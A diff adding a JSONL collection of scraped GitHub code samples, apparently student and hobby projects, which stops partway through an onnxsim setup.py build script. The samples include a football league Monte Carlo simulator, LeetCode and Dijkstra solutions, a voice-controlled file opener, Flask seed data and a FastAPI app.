diff --git "a/258.jsonl" "b/258.jsonl" new file mode 100644--- /dev/null +++ "b/258.jsonl" @@ -0,0 +1,311 @@ +{"seq_id":"2979439294","text":"from mt import MersenneTwister\n\nclass Part1:\n \"\"\"\n A class that simulates the results of a football (soccer) league \n using a simplified model. The probability of each team winning, \n tying, or losing a match is determined by pre-defined win-tie-loss ratios. \n The results of the simulations are used to determine the final league \n standings and the percentage likelihood of each team finishing in each \n possible position.\n \"\"\"\n\n def __init__(self, sims=10_000):\n \"\"\"\n Initialize a Part1 instance with the given number of simulations.\n \n Parameters\n ----------\n sims : int, optional\n The number of simulations to run. Default is 10_000.\n \"\"\"\n self.clubs = [\"Ajax\", \"Feyenoord\", \"PSV\", \"FC Utrecht\", \"Willem II\"]\n self.win_tie_loss = {\n \"Ajax\": { \"Feyenoord\": [65, 17, 18], \"PSV\": [54, 21, 25], \"FC Utrecht\": [74, 14, 12], \"Willem II\": [78, 13, 9] },\n \"Feyenoord\": { \"Ajax\": [30, 21, 49], \"PSV\": [37, 24, 39], \"FC Utrecht\": [51, 22, 27], \"Willem II\": [60, 21, 19] },\n \"PSV\": { \"Ajax\": [39, 22, 39], \"Feyenoord\": [54, 22, 24], \"FC Utrecht\": [62, 20, 18], \"Willem II\": [62, 22, 16] },\n \"FC Utrecht\": { \"Ajax\": [25, 14, 61], \"Feyenoord\": [37, 23, 40], \"PSV\": [29, 24, 47], \"Willem II\": [52, 23, 25] },\n \"Willem II\": { \"Ajax\": [17, 18, 65], \"Feyenoord\": [20, 26, 54], \"PSV\": [23, 24, 53], \"FC Utrecht\": [37, 25, 38] }\n }\n self.results = {\n \"Ajax\": [0,0,0,0,0], \n \"Feyenoord\": [0,0,0,0,0],\n \"PSV\": [0,0,0,0,0],\n \"FC Utrecht\": [0,0,0,0,0], \n \"Willem II\": [0,0,0,0,0],\n }\n\n self.mt = MersenneTwister(5489)\n self.sims = sims\n\n def run_simulations(self):\n \"\"\"\n Run the simulations and print the results.\n \"\"\"\n for _ in range(self.sims):\n self.run_simulation()\n\n for key in self.results:\n self.results[key] = [x / self.sims * 100 for x in self.results[key]]\n print(f\"{key:<10}: {self.results[key][0]:.2f}% {self.results[key][1]:.2f}% {self.results[key][2]:.2f}% {self.results[key][3]:.2f}% {self.results[key][4]:.2f}%\")\n\n\n def run_simulation(self):\n \"\"\"\n Run a single simulation and update the results.\n \"\"\"\n scores = {\"Ajax\": 0, \"Feyenoord\": 0, \"PSV\": 0, \"FC Utrecht\": 0, \"Willem II\": 0}\n for home in self.clubs:\n for away in self.clubs:\n if home == away:\n continue\n\n wtl = self.win_tie_loss[home][away]\n rand = self.mt.next_int(0, 100)\n\n if rand < wtl[0]:\n scores[home] += 3\n elif rand < (wtl[0] + wtl[1]):\n scores[home] += 1\n scores[away] += 1\n else:\n scores[away] += 3\n\n result = dict(sorted(scores.items(), key=lambda item: item[1], reverse=True))\n for i, (k, _) in enumerate(result.items()):\n self.results[k][i] += 1\n","repo_name":"Xander-de-Keijzer/MonteCarlo","sub_path":"part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23404178809","text":"from random import randint\n\ndef hongbao(total,num):\n \n lst1 = [] #空列表\n rest = total\n for i in range(1,num):\n b=randint(1,rest-(num-i+1))\n a = randint(1,b)\n rest -= a\n lst1.append(a)\n lst1.append(rest)\n return lst1\nprint(hongbao(2000,20))\n","repo_name":"fanxueyingsyj/bbb","sub_path":"实验题/实验三/实验三第三题.py","file_name":"实验三第三题.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37496080056","text":"class Solution:\n def combinationSum2(self, candidates: list[int], target: int) -> list[list[int]]:\n def backTracking(cur_sum: int, index: int) -> None:\n if cur_sum == target:\n ans.append(path[:])\n else:\n for i in range(index, len(candidates)):\n if i > index and candidates[i] == candidates[i - 1]:\n continue\n if cur_sum + candidates[i] > target:\n break\n else:\n path.append(candidates[i])\n backTracking(cur_sum + candidates[i], i + 1)\n path.pop()\n\n ans, path = [], []\n candidates.sort()\n backTracking(0, 0)\n return ans\n","repo_name":"qbnmmm/leetcode","sub_path":"剑指offer/剑指 Offer II 082. 含有重复元素集合的组合.py","file_name":"剑指 Offer II 082. 含有重复元素集合的组合.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20050631298","text":"import json\nimport random\n\nimport common\n\n\nclass MultiAnswerSubmodule:\n \"\"\"Synthea Submodule for a question and its possible answers.\"\"\"\n\n def __init__(self, name: str, question: common.CodeDisplay):\n self.name = name.lower().replace(',', '').replace(' ', '_')\n self.question = question\n self.answers = []\n self.base_template = {\n 'name': self.name,\n 'remarks': ['An HIV Submodule'],\n 'states': {},\n 'gmf_version': 2\n }\n\n def add_answer(self, answer: common.CodeDisplay):\n self.answers.append(answer)\n\n def call_answer_key(self, obs: common.CodeDisplay, state_name: str):\n self.base_template['states'][obs.name] = common.fill_answer_key(\n self.question, obs, state_name)\n\n def create_transition(self, obs: common.CodeDisplay, state_type: str,\n state_num: int):\n probability = random.uniform(0, 1)\n if state_type == 'Initial' or state_type == 'Terminal':\n state_name = state_type\n else:\n state_name = f'{state_type}_{state_num}'\n\n self.base_template['states'][state_name] = {\n 'type':\n state_type,\n 'name':\n state_name,\n 'distributed_transition': [{\n 'transition': obs.name,\n 'distribution': probability\n }, {\n 'transition': f'Simple_{state_num+1}',\n 'distribution': 1 - probability\n }]\n }\n\n def loop_through_answers(self):\n \"\"\"Add each answer to the template.\"\"\"\n answer = self.answers.pop()\n self.create_transition(answer, 'Initial', 0)\n state_num = 1\n self.call_answer_key(answer, f'Simple_{state_num}')\n\n while self.answers:\n answer = self.answers.pop()\n self.create_transition(answer, 'Simple', state_num)\n state_num += 1\n self.call_answer_key(answer, f'Simple_{state_num}')\n\n self.base_template['states'][f'Simple_{state_num}'] = {\n 'type': 'Terminal',\n 'name': f'Simple_{state_num}'\n }\n\n def save(self):\n \"\"\"Save as a JSON file.\"\"\"\n with open(f'../hiv_simple/{self.name}.json', 'w') as f:\n json.dump(self.base_template, f)\n\n def __str__(self):\n return json.dumps(self.base_template)\n\n def __repr__(self):\n return self.__str__() \n","repo_name":"google/fhir-data-pipes","sub_path":"synthea-hiv/generator/make_modules/multi_answer_mod.py","file_name":"multi_answer_mod.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"31"} +{"seq_id":"71581349848","text":"import speech_recognition as sr\nimport os\nimport re\nimport json\nimport openFolderModule\nimport subprocess\nimport pyttsx3\n\ndef speak(text):\n engine = pyttsx3.init()\n voices = engine.getProperty('voices')\n engine.setProperty('voice', voices[1].id)\n engine.setProperty('rate', 150)\n engine.say(text)\n engine.runAndWait()\n\ndef openFile():\n r = sr.Recognizer()\n root_dir_path = None\n cache = openFolderModule.load_cache()\n\n with sr.Microphone() as source:\n speak(\"Say the name of the root directory to search in (or leave blank to search everywhere)\")\n audio = r.listen(source)\n\n try:\n root_dir_name = r.recognize_google(audio).replace(\" \", \"\")\n # Remove any extra spaces\n root_dir_name = root_dir_name.replace(\"underscore\", \"_\")\n root_dir_name = root_dir_name.replace(\"dot\", \".\")\n root_dir_name = root_dir_name.replace(\"left square bracket\", \"[\")\n root_dir_name = root_dir_name.replace(\"right square bracket\", \"]\")\n print(root_dir_name)\n except sr.UnknownValueError:\n speak(\"Unable to recognize speech. Searching everywhere...\")\n root_dir_name = None\n\n file_path = None\n with sr.Microphone() as source:\n speak(\"Say the name of the file you want to open\")\n audio = r.listen(source)\n\n file_name = r.recognize_google(audio).replace(\" \", \"\")\n file_name = file_name.replace(\"underscore\", \"_\")\n file_name = file_name.replace(\"dot\", \".\")\n file_name = file_name.replace(\"left square bracket\", \"[\")\n file_name = file_name.replace(\"right square bracket\", \"]\")\n\n if root_dir_name is not None:\n if root_dir_name in cache:\n root_dir_path = cache[root_dir_name]\n\n for root, dirs, files in os.walk(root_dir_path):\n print(f\"Searching in {root} for {root_dir_name}\")\n for name in files:\n print(file_name.lower(), name.lower())\n m = re.search(r'\\b{}\\b'.format(re.escape(file_name.lower())), name.lower(), re.IGNORECASE)\n if m is not None:\n file_path = os.path.join(root, name)\n break\n if file_path is not None:\n break\n\n if file_path is None:\n speak(\"File not found.\")\n else:\n if file_path.endswith('.bat'):\n with open(file_path, 'r') as f:\n args = f.read().strip().split()\n os.chdir(os.path.dirname(file_path))\n subprocess.Popen(args, cwd=os.path.dirname(file_path))\n else:\n subprocess.Popen(file_path, shell=True)\n else:\n for root, dirs, files in os.walk('/'):\n print(f\"Searching in {root} for {root_dir_name}\")\n for name in files:\n m = re.search(r'\\b{}\\b'.format(re.escape(root_dir_name.lower())), name.lower(), re.IGNORECASE)\n if m is not None:\n file_path = os.path.join(root, name)\n cache[root_dir_name] = file_path\n break\n if file_path is not None:\n break\n if file_path is None:\n speak(\"File not found.\")\n else:\n if file_path.endswith('.bat'):\n with open(file_path, 'r') as f:\n args = f.read().strip().split()\n os.chdir(os.path.dirname(file_path))\n subprocess.Popen(args, cwd=os.path.dirname(file_path))\n else:\n subprocess.Popen(file_path, shell=True)\n else:\n for root, dirs, files in os.walk('/'):\n print(f\"Searching in {root} for {file_name}\")\n for name in files:\n m = re.search(r'\\b{}\\b'.format(re.escape(file_name.lower())), name.lower(), re.IGNORECASE)\n if m is not None:\n file_path = os.path.join(root, name)\n break\n if file_path is not None:\n break\n if file_path is None:\n speak(\"File not found.\")\n else:\n os.system(f'start \"\" \"{file_path}\"')","repo_name":"KillerKei/Python-VoiceAI-Interaction","sub_path":"openFileModule.py","file_name":"openFileModule.py","file_ext":"py","file_size_in_byte":4262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"5819810294","text":"# https://www.codeeval.com/open_challenges/229/\n\nimport sys\nfrom queue import PriorityQueue\n\ndef reconstruct_path(came_from, start, end):\n current = end\n path = [current]\n while current is not None and current != start:\n if current not in came_from:\n return path\n current = came_from[current]\n path.append(current)\n \n path.reverse()\n return path\n\ndef dijkstra(nodes, start, end):\n neighbors = {}\n for node in nodes:\n n1, n2, length = node[0], node[1], node[2]\n if n1 not in neighbors:\n neighbors[n1] = [(n2, length)]\n else:\n neighbors[n1].append((n2, length))\n \n if n2 not in neighbors:\n neighbors[n2] = [(n1, length)]\n else:\n neighbors[n2].append((n1, length))\n \n if start not in neighbors:\n return \"False\"\n \n pq = PriorityQueue()\n pq.put((0, start))\n came_from = {}\n cost_so_far = {}\n cost_so_far[start] = 0\n came_from[start] = None\n paths_considered = []\n \n while not pq.empty():\n c, current = pq.get()\n \n if current == end:\n break\n \n for neighbor, cost in neighbors[current]:\n new_cost = cost_so_far[current] + cost\n if neighbor not in cost_so_far or new_cost < cost_so_far[neighbor]:\n cost_so_far[neighbor] = new_cost\n pq.put((new_cost, neighbor))\n came_from[neighbor] = current\n paths_considered.append((current, neighbor))\n \n path = reconstruct_path(came_from, start, end)\n \n if len(path) < 2:\n return \"False\"\n \n return cost_so_far[end]\n\nwith open(sys.argv[1], 'r') as test_cases:\n for idx, test in enumerate(test_cases):\n nodes, start_end = test.split(\"|\")\n nodes = nodes.strip()\n start_end = start_end.strip()\n \n start, end = start_end.split(\" \")\n start = int(start)\n end = int(end)\n \n nodes = nodes.split(\",\")\n nodelist = []\n for node in nodes:\n node = node.strip()\n n1, n2, length = node.split(\" \")\n n1 = int(n1)\n n2 = int(n2)\n length = int(length)\n nodelist.append((n1, n2, length))\n \n shortest_path = dijkstra(nodelist, start, end)\n print(shortest_path)","repo_name":"ssarangi/algorithms","sub_path":"codeeval/hard/grinch.py","file_name":"grinch.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"10626450157","text":"from sqlalchemy.orm import session\nfrom app.models import db, Technology\n\ndef seed_technologies():\n \"\"\"Add default technologies to the database.\"\"\"\n # Add the default technologies to the database.\n python = Technology(name='Python',\n description='Python is a high-level, general-purpose programming language.',\n cat_id=(3),\n )\n flask = Technology(name='Flask',\n description='Flask is a microframework for Python based on Werkzeug, Jinja2 and good intentions.',\n cat_id=(18),\n )\n vanillaCSS = Technology(name='Vanilla CSS',\n description='Vanilla CSS is a type of CSS that is essentially CSS without any of the new stuff.',\n cat_id=(1),\n )\n bootstrap = Technology(name='Bootstrap',\n description='Bootstrap is a web development framework that uses Twitter Bootstrap as its base.',\n cat_id=(1),\n )\n sqlAlchemy = Technology(name='SQLAlchemy',\n description='SQLAlchemy is a Python object-relational mapper (ORM) for the Python programming language.',\n cat_id=(18),\n )\n readline = Technology(name='Readline',\n description='Readline is a general-purpose library for line editing.',\n cat_id=(7),\n )\n asyncawait = Technology(name='Async/await',\n description='Async/await is a new keyword that lets you write asynchronous code using the syntax of coroutines.',\n cat_id=(11),\n )\n fetchApi = Technology(name='Fetch API',\n description='Fetch API is a library for accessing public Fetch APIs.',\n cat_id=(12),\n )\n Node = Technology(name='Node.js',\n description='Node.js is a JavaScript runtime engine written in JavaScript.',\n cat_id=(5),\n )\n HTML = Technology(name='HTML',\n description='HTML is the standard markup language for creating web pages.',\n cat_id=(6),\n )\n PUG = Technology(name='PUG',\n description='PUG is a html templating language.',\n cat_id=(6),\n )\n csrf = Technology(name='CSRF',\n description='CSRF is a technique for Preventing Cross-Site Request Forgery (CSRF) attacks.',\n cat_id=(15),\n )\n oauth = Technology(name='OAuth',\n description='OAuth is an open-source framework for secure client-server web application integration.',\n cat_id=(15),\n )\n Redux = Technology(name='Redux',\n description='Redux is a JavaScript library for creating web APIs.',\n cat_id=(17),\n )\n React = Technology(name='React',\n description='React is a JavaScript library for creating web APIs.',\n cat_id=(17),\n )\n psql = Technology(name='PostgreSQL',\n description='PostgreSQL is a relational database management system.',\n cat_id=(18),\n )\n mongodb = Technology(name='MongoDB',\n description='MongoDB is a document-oriented NoSQL database.',\n cat_id=(18),\n )\n heroku = Technology(name='Heroku',\n description='Heroku is a platform for building and managing web applications.',\n cat_id=(18),\n )\n wtforms = Technology(name='WTForms',\n description='WTForms is a library for creating web forms.',\n cat_id=(18),\n )\n rubyonrails = Technology(name='Ruby on Rails',\n description='Ruby on Rails is a web framework for the Ruby programming language.',\n cat_id=(18),\n )\n scss = Technology(name='SCSS',\n description='SCSS is a CSS preprocessor.',\n cat_id=(1),\n )\n sequelize = Technology(name='Sequelize',\n description='Sequelize is an ORM library.',\n cat_id=(18),\n )\n javascript = Technology(name='JavaScript',\n description='JavaScript is a high-level programming language.',\n cat_id=(2),\n )\n go = Technology(name='Go',\n description='Go is a programming language.',\n cat_id=(18),\n )\n\n\n\n db.session.add(python)\n db.session.add(flask)\n db.session.add(vanillaCSS)\n db.session.add(bootstrap)\n db.session.add(sqlAlchemy)\n db.session.add(readline)\n db.session.add(asyncawait)\n db.session.add(fetchApi)\n db.session.add(Node)\n db.session.add(HTML)\n db.session.add(PUG)\n db.session.add(csrf)\n db.session.add(oauth)\n db.session.add(Redux)\n db.session.add(React)\n db.session.add(psql)\n db.session.add(mongodb)\n db.session.add(heroku)\n db.session.add(wtforms)\n db.session.add(rubyonrails)\n db.session.add(scss)\n db.session.add(sequelize)\n db.session.add(javascript)\n db.session.add(go)\n\n db.session.commit()\n\n\ndef undo_technologies():\n db.session.execute('TRUNCATE technologies RESTART IDENTITY CASCADE;')\n db.session.commit()\n","repo_name":"hnrywltn/pro_docs","sub_path":"app/seeds/technologies.py","file_name":"technologies.py","file_ext":"py","file_size_in_byte":5840,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"20937569862","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n # If linked list is empty\n prev = None\n curr = head\n \n while curr != None:\n next_node = curr.next\n curr.next = prev\n prev = curr\n curr = next_node\n\n return prev\n \n \n \n# if not head:\n# return None\n# else:\n# prev = None\n# curr = head\n# follow = curr.next\n# while curr != None:\n# curr.next = prev\n# prev = curr\n# curr = follow\n# if follow:\n# follow = follow.next\n# return prev\n \n ","repo_name":"sunjit22/Leetcode-Practice","sub_path":"206-reverse-linked-list/206-reverse-linked-list.py","file_name":"206-reverse-linked-list.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34648518773","text":"import numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\n\ndf = pd.read_csv('D4.csv')\n#print(df.head())\nplt.scatter(df.age,df.insurance,marker='*',color='red')\n#plt.show()\nprint(df.shape)\n\nX_train, X_test, y_train,y_test=train_test_split(df[['age']],df.insurance,test_size=0.1)\nprint(X_test)\n\nmodel=LogisticRegression()\nmodel.fit(X_train, y_train)\nres=model.predict(X_test)\nprint(res)\n\nsco=model.score(X_test,y_test)\nprint(sco)\nprint(model.predict_proba(X_test))\n\n","repo_name":"kuetbme19/Machine-Learning-By-Python-and-Matlab","sub_path":"Logistic Regression Example/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18578829994","text":"from config import API_URL\n\nimport requests\n\nfirst_20_url = f\"{API_URL}/primeros20\"\nlast_editorial_url = f\"{API_URL}/lastentry\"\ninsert_one_url = f\"{API_URL}\"\n\n\ndef insert_last_20_editorials(entries):\n response = requests.post(first_20_url, json=entries)\n\n print(response.json())\n return response.json()\n\n\ndef get_last_entry():\n response = requests.get(last_editorial_url)\n print(response.json())\n\n return response.json()\n\n\ndef insert_entry(entry):\n response = requests.post(API_URL, json=entry)\n\n print(response.json())\n return response.json()\n","repo_name":"ansecede/Inari_Test","sub_path":"webscraping/editorial_requests.py","file_name":"editorial_requests.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11877652717","text":"import pandas as pd\nimport numpy as np\n\n\ndef load_dataset():\n # dataframes provided with the corresponding language translations\n\n # assign dataset names\n list_of_names = ['cs-en', 'de-en', 'ru-en', 'zh-en', 'en-fi', 'en-zh']\n\n # create empty list\n dataframes_list = []\n \n # append datasets into teh list\n for i in range(len(list_of_names)):\n\n temp_df = pd.read_csv(\"corpus/\"+ list_of_names[i]+\"/scores.csv\")\n\n dataframes_list.append(temp_df)\n\n return dataframes_list\n\n\ndef load_embeddings():\n # assign dataset names\n list_of_names = ['cs-en', 'de-en', 'ru-en', 'zh-en', 'en-fi', 'en-zh']\n\n # create empty list\n embedding_ref_list = []\n embedding_tra_list = []\n\n # append datasets into teh list\n for i in range(len(list_of_names)):\n temp_ref_df = pd.read_csv(\"corpus/\" + list_of_names[i] + \"/laser.reference_embeds.npy\")\n temp_tra_df = pd.read_csv(\"corpus/\" + list_of_names[i] + \"/laser.translation_embeds.npy\")\n\n embedding_ref_list.append(temp_ref_df)\n embedding_tra_list.append(temp_tra_df)\n\n return embedding_ref_list, embedding_tra_list\n","repo_name":"dordidor/Text-Mining-Project","sub_path":"utils/data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16350563113","text":"import os\nimport time\n\nimport uvicorn\nfrom dotenv import load_dotenv\n\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi.middleware.trustedhost import TrustedHostMiddleware\n\nfrom fastapi import FastAPI, Request\n\nfrom routers import router\nfrom settings import settings\n\napp = FastAPI(debug=True)\norigins = [\n \"*\"\n]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\napp.add_middleware(\n TrustedHostMiddleware, allowed_hosts=[\"127.0.0.1\", \"localhost\"]\n)\n\n@app.middleware(\"http\")\nasync def add_process_time_header(request: Request, call_next):\n start_time = time.time()\n response = await call_next(request)\n process_time = time.time() - start_time\n response.headers[\"X-Process-Time\"] = str(process_time)\n return response\n\nload_dotenv()\nENVIRONMENT = os.getenv('DEPLOY_ENV', 'CLOUD')\n\n\n# @app.on_event(\"startup\")\n# async def startup():\n# pool = await get_conn_pool()\n\napp.include_router(router)\n\nif __name__ == '__main__':\n uvicorn.run(\"main:app\", host=\"127.0.0.1\", port=8080, reload=True)\n","repo_name":"Mahesh61437/pets","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30096056918","text":"from distutils.spawn import find_executable\nfrom distutils import sysconfig, log\nimport setuptools\nimport setuptools.command.build_py\nimport setuptools.command.develop\nimport setuptools.command.build_ext\n\nfrom collections import namedtuple\nfrom contextlib import contextmanager\nimport glob\nimport os\nimport shlex\nimport subprocess\nimport sys\nimport platform\nfrom textwrap import dedent\nimport multiprocessing\nimport re\n\n\nTOP_DIR = os.path.realpath(os.path.dirname(__file__))\nSRC_DIR = os.path.join(TOP_DIR, 'onnxsim')\nCMAKE_BUILD_DIR = os.path.join(TOP_DIR, '.setuptools-cmake-build')\n\nWINDOWS = (os.name == 'nt')\nMACOS = sys.platform.startswith(\"darwin\")\n\nCMAKE = find_executable('cmake')\n\ninstall_requires = []\nsetup_requires = []\n\nUSE_MSVC_STATIC_RUNTIME = bool(os.getenv('USE_MSVC_STATIC_RUNTIME', '0') == '1')\nONNX_ML = not bool(os.getenv('ONNX_ML') == '0')\nONNX_VERIFY_PROTO3 = bool(os.getenv('ONNX_VERIFY_PROTO3') == '1')\nONNX_NAMESPACE = os.getenv('ONNX_NAMESPACE', 'onnx')\nONNX_BUILD_TESTS = bool(os.getenv('ONNX_BUILD_TESTS') == '1')\nONNX_OPT_USE_SYSTEM_PROTOBUF = bool(os.getenv('ONNX_OPT_USE_SYSTEM_PROTOBUF', '0') == '1')\n\nDEBUG = bool(os.getenv('DEBUG'))\nCOVERAGE = bool(os.getenv('COVERAGE'))\n\ntry:\n version = subprocess.check_output(['git', 'describe', '--tags', '--abbrev=0'],\n cwd=TOP_DIR).decode('ascii').strip()\n if version[0] == 'v':\n version = version[1:]\nexcept (OSError, subprocess.CalledProcessError):\n with open(os.path.join(TOP_DIR, 'VERSION')) as ver_file:\n version = ver_file.read().strip()\n\ntry:\n git_version = subprocess.check_output(['git', 'rev-parse', 'HEAD'],\n cwd=TOP_DIR).decode('ascii').strip()\nexcept (OSError, subprocess.CalledProcessError):\n git_version = None\n\nif os.getenv('ONNXSIM_SDIST') is not None:\n version = '0.0.0'\n git_version = None\n\nVersionInfo = namedtuple('VersionInfo', ['version', 'git_version'])(\n version=version,\n git_version=git_version\n)\n\nassert CMAKE, 'Could not find \"cmake\" executable!'\n\n@contextmanager\ndef cd(path):\n if not os.path.isabs(path):\n raise RuntimeError('Can only cd to absolute path, got: {}'.format(path))\n orig_path = os.getcwd()\n os.chdir(path)\n try:\n yield\n finally:\n os.chdir(orig_path)\n\n\nclass ONNXCommand(setuptools.Command):\n user_options = []\n\n def initialize_options(self):\n pass\n\n def finalize_options(self):\n pass\n\n\nclass create_version(ONNXCommand):\n def run(self):\n with open(os.path.join(SRC_DIR, 'version.py'), 'w') as f:\n f.write(dedent('''\\\n # This file is generated by setup.py. DO NOT EDIT!\n\n version = '{version}'\n git_version = '{git_version}'\n '''.format(**dict(VersionInfo._asdict()))))\n\n\nclass cmake_build(setuptools.Command):\n \"\"\"\n Compiles everything when `python setupmnm.py build` is run using cmake.\n\n Custom args can be passed to cmake by specifying the `CMAKE_ARGS`\n environment variable.\n\n The number of CPUs used by `make` can be specified by passing `-j`\n to `setup.py build`. By default all CPUs are used.\n \"\"\"\n user_options = [\n (str('jobs='), str('j'), str('Specifies the number of jobs to use with make'))\n ]\n\n built = False\n\n def initialize_options(self):\n self.jobs = None\n\n def finalize_options(self):\n self.set_undefined_options('build', ('parallel', 'jobs'))\n if self.jobs is None and os.getenv(\"MAX_JOBS\") is not None:\n self.jobs = os.getenv(\"MAX_JOBS\")\n self.jobs = multiprocessing.cpu_count() if self.jobs is None else int(self.jobs)\n\n def run(self):\n if cmake_build.built:\n return\n cmake_build.built = True\n if not os.path.exists(CMAKE_BUILD_DIR):\n os.makedirs(CMAKE_BUILD_DIR)\n\n with cd(CMAKE_BUILD_DIR):\n build_type = 'Release'\n # configure\n cmake_args = [\n CMAKE,\n '-DPython_INCLUDE_DIR={}'.format(sysconfig.get_python_inc()),\n '-DPython_EXECUTABLE={}'.format(sys.executable),\n # For pybind11\n '-DPYTHON_EXECUTABLE={}'.format(sys.executable),\n '-DBUILD_ONNX_PYTHON=OFF',\n '-DONNXSIM_PYTHON=ON',\n '-DONNXSIM_BUILTIN_ORT=OFF',\n '-DONNX_USE_LITE_PROTO=OFF',\n '-DCMAKE_EXPORT_COMPILE_COMMANDS=ON',\n '-DONNX_NAMESPACE={}'.format(ONNX_NAMESPACE),\n '-DPY_EXT_SUFFIX={}'.format(\n sysconfig.get_config_var('EXT_SUFFIX') or ''),\n '-DONNX_OPT_USE_SYSTEM_PROTOBUF={}'.format(\n 'ON' if ONNX_OPT_USE_SYSTEM_PROTOBUF else 'OFF'),\n ]\n if COVERAGE:\n cmake_args.append('-DONNX_COVERAGE=ON')\n if COVERAGE or DEBUG:\n # in order to get accurate coverage information, the\n # build needs to turn off optimizations\n build_type = 'Debug'\n cmake_args.append('-DCMAKE_BUILD_TYPE=%s' % build_type)\n if WINDOWS:\n cmake_args.extend([\n # we need to link with libpython on windows, so\n # passing python version to window in order to\n # find python in cmake\n '-DPY_VERSION={}'.format('{0}.{1}'.format(* \\\n sys.version_info[:2])),\n ])\n if USE_MSVC_STATIC_RUNTIME:\n cmake_args.append('-DONNX_USE_MSVC_STATIC_RUNTIME=ON')\n if platform.architecture()[0] == '64bit':\n cmake_args.extend(['-A', 'x64', '-T', 'host=x64'])\n else:\n cmake_args.extend(['-A', 'Win32', '-T', 'host=x86'])\n if MACOS:\n # Cross-compile support for macOS - respect ARCHFLAGS if set\n archs = re.findall(r\"-arch (\\S+)\", os.environ.get(\"ARCHFLAGS\", \"\"))\n if archs:\n cmake_args += [\"-DCMAKE_OSX_ARCHITECTURES={}\".format(\";\".join(archs))]\n if ONNX_ML:\n cmake_args.append('-DONNX_ML=1')\n if ONNX_VERIFY_PROTO3:\n cmake_args.append('-DONNX_VERIFY_PROTO3=1')\n if ONNX_BUILD_TESTS:\n cmake_args.append('-DONNX_BUILD_TESTS=ON')\n if 'CMAKE_ARGS' in os.environ:\n extra_cmake_args = shlex.split(os.environ['CMAKE_ARGS'])\n # prevent crossfire with downstream scripts\n del os.environ['CMAKE_ARGS']\n log.info('Extra cmake args: {}'.format(extra_cmake_args))\n cmake_args.extend(extra_cmake_args)\n cmake_args.append(TOP_DIR)\n print(f\"Run command {cmake_args}\")\n subprocess.check_call(cmake_args)\n\n build_args = [CMAKE, '--build', os.curdir, '--target onnxsim_cpp2py_export']\n if WINDOWS:\n build_args.extend(['--config', build_type])\n build_args.extend(['--', '/maxcpucount:{}'.format(self.jobs)])\n else:\n build_args.extend(['--', '-j', str(self.jobs)])\n print(f\"Run command {build_args}\")\n subprocess.check_call(build_args)\n\n\nclass build_py(setuptools.command.build_py.build_py):\n def run(self):\n self.run_command('create_version')\n return setuptools.command.build_py.build_py.run(self)\n\n\nclass develop(setuptools.command.develop.develop):\n def run(self):\n self.run_command('build_py')\n setuptools.command.develop.develop.run(self)\n\n\nclass build_ext(setuptools.command.build_ext.build_ext):\n def run(self):\n self.run_command('cmake_build')\n setuptools.command.build_ext.build_ext.run(self)\n\n def build_extensions(self):\n for ext in self.extensions:\n fullname = self.get_ext_fullname(ext.name)\n filename = os.path.basename(self.get_ext_filename(fullname))\n\n lib_path = CMAKE_BUILD_DIR\n if os.name == 'nt':\n debug_lib_dir = os.path.join(lib_path, \"Debug\")\n release_lib_dir = os.path.join(lib_path, \"Release\")\n if os.path.exists(debug_lib_dir):\n lib_path = debug_lib_dir\n elif os.path.exists(release_lib_dir):\n lib_path = release_lib_dir\n src = os.path.join(lib_path, filename)\n dst_dir = os.path.join(os.path.realpath(\n self.build_lib), \"onnxsim\")\n dst = os.path.join(dst_dir, filename)\n os.makedirs(dst_dir, exist_ok=True)\n self.copy_file(src, dst)\n\n\ncmdclass = {\n 'create_version': create_version,\n 'cmake_build': cmake_build,\n 'build_ext': build_ext,\n 'build_py': build_py,\n 'develop': develop,\n}\n\next_modules = [\n setuptools.Extension(\n name=str('onnxsim.onnxsim_cpp2py_export'),\n sources=[])\n]\n\n# no need to do fancy stuff so far\npackages = setuptools.find_packages()\n\n# Though we depend on onnxruntime, it has three different packages:\n# onnxruntime, onnxruntime-gpu and onnxruntime-noopenmp.\n# The solution is, we publish two packages, a wheel named onnxsim-no-ort\n# and a sdist package named onnxsim, onnxsim depends on onnxsim-no-ort,\n# and also check if one of onnxruntime packages is installed, and depends\n# on onnxruntime when no existing installed packages.\ninstall_requires.extend([\n 'onnx',\n 'rich',\n])\n\nsetup_requires.append('pytest-runner')\n\n# read the contents of your README file\nfrom pathlib import Path\nthis_directory = 